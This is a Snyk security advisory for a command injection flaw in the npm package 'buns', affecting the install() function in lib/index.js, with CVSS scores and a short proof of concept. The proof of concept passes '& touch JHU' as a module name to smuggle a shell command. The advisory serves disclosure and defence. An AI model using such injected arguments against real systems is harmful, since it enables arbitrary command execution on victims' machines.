Command Injection Affecting buns package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.25% (66th percentile)

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  • Snyk ID SNYK-JS-BUNS-1050389
  • published 8 Jan 2021
  • disclosed 11 Dec 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for buns.

Overview

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 678 in index file lib/index.js in the exported function install(requestedModule).

PoC

var root = require("buns");
var name = "& touch JHU";
root.install(name);

References

CVSS Scores

version 3.1
Expand this section

Snyk

8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical